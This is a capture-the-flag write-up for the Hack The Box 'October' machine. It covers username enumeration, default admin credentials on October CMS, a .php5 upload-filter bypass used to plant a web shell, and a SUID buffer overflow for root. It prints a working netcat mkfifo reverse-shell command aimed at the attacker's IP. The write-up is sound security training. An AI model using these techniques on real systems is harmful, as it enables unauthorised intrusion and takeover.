October was a pretty chill box other than the privilege escalation part. Buffer Overflow is disappearing these days and even OSCP has replaced it’s buffer overflow content into Active Directory instead. This was my first time doing buffer overflow and it was not easy.
I first gained access to October CMS backend through the credentials (admin:admin) and from there I spawned a reverse shell by uploading p0wny-shell. For privilege escalation, I ran lse.sh and it found /usr/local/bin/ovrflw which is an uncommon SUID binary. Using /usr/local/bin/ovrflw, buffer overflow was done and it got me a shell as the root.
Information Gathering
Rustscan
Rustscan finds SSH and HTTP running on October(target):
Nmap
Nmap finds that October CMS is running with vanilla theme on HTTP:
Enumeration
HTTP - TCP 80
The website seemes to be default theme page for October CMS’s vanilla theme:
/account
page provides feature to sign-in or to register a new user:
I will try registering random user since it provides such feature:
However,it rejects my request saying there is not space left on the device.
There are some hexademical values that is revaled on the error message and it could be some sort of Web Tokens:
Unfortunately, from some more enumeration, it seems to be just file paths.
/forum
directory shows bunch of channels but nothing much could be done here:
Directory Bruteforce
I wil move on to directory bruteforcing using feroxbuster:
sudo feroxbuster -u http://10.10.10.16 -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404
Feroxbuster discovers 16 valid paths and several of them looks interesting, such as backend.
I can also map the web app using Burp Suite as such:
Visiting newly discovered path, /backend/backend/auth/signin
, I see another login page:
Cliking on Forgot your password? leads me to /backend/backend/auth/restore
, and I can verfiy if the user exists or not through the error message as such:
Access /backend/cms
I will try bruteforcing valid username through Burp Suite intruder.
I first intercept the request for restoring password:
I try all the userames from /usr/share/seclists/Usernames/cirt-default-usernames.txt and filter out error message(A user could not be found with a login value of
) using negative search:
It seems like username Admin is valid. input 1,2,5,7 are not filtered since it is too short and it pops different error message from other username tries.
Tring again with username Admin and random password, it confirms username is valid:
I tried bruteforcing password as well using hydra and I eneded up getting user Admin being suspended. I resetted the box and tried several default passwords and it turned out password is same as the username: admin
Using the credentials(admin:admin), I now have access to /backend/cms
:
Shell as www-data
After sign-in, I am given several more features.
/backend/backend/users/myaccount
shows the domain name october.htb:
I can upload files through /backend/cms/media
:
Upload Protection Bypass
Researching a bit about October CMS Media upload, it seems that there is a upload filter that works with black-list method.
Reading Metasploit module code from here, it creates payload with extension of php5:
I will upload p0wny-shell to it with extension of php5 and it succsfully uploads:
I can access the php wb shell through /storage/app/media/p0wny-shell.php5
and it works fine as www-data:
Reverse Shell
Running the following command towards my local netcat listener, it spawns a better shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 1337 >/tmp/f
I can improve the shell using python as such:
python2 -c 'import pty; pty.spawn("/bin/bash")'
Privesc: www-data to root
SUID ovrflw Analysis
Running lse.sh discovers several interesting things.
Uncommon SETUID binary /usr/local/bin/ovrflw
is found:
/var/lib/php5
is running on crontab:
I can confirm the SETUID through ls -al
command and it does have SETUID right:
It seems like /usr/local/bin/ovrflow
requires string input at the end.
I will base64 encode it and copy & decode it over to my local Kali machine as such:
Now I have ovrflw copy at local machine:
The /proc/sys/kernel/randomize_va_space file in Linux controls the behavior of Address Space Layout Randomization (ASLR) for memory allocations in the kernel. ASLR randomizes the memory layout of processes to make it more difficult for attackers to exploit memory corruption vulnerabilities.
When randomize_va_space is set to 2, the kernel randomizes the base address of each memory segment during process creation, making it more difficult for attackers to predict the layout of memory and execute successful exploits.
cat /proc/sys/kernel/randomize_va_space
When you run the ldd command on a binary, it displays the shared libraries (including libc) that the binary is linked against. If the address of the libc library changes each time you run ldd on the binary, it indicates that Address Space Layout Randomization (ASLR) is enabled on your system.
ldd /usr/local/bin/ovrflw | grep libc
NX (or DEP - Data Execution Prevention) marks the stack as non-executable, preventing attackers from executing shellcode placed on the stack. “NX enabled” means that the stack is marked as non-executable, enhancing security.
checksec -file=ovrflw
After examining the output of ldd, it is apparent that the memory addresses primarily fluctate between 0xb7500000 and 0xb76ff000. This suggests a limited variation of around 512 possibilities with only one byte and one bit changing between addresses.
Buffer Overflow
Using gdb, I can find ovrflw offset and can create a loop for it to get a shell as the root:
Read about the process in more detail from 0xdf writeup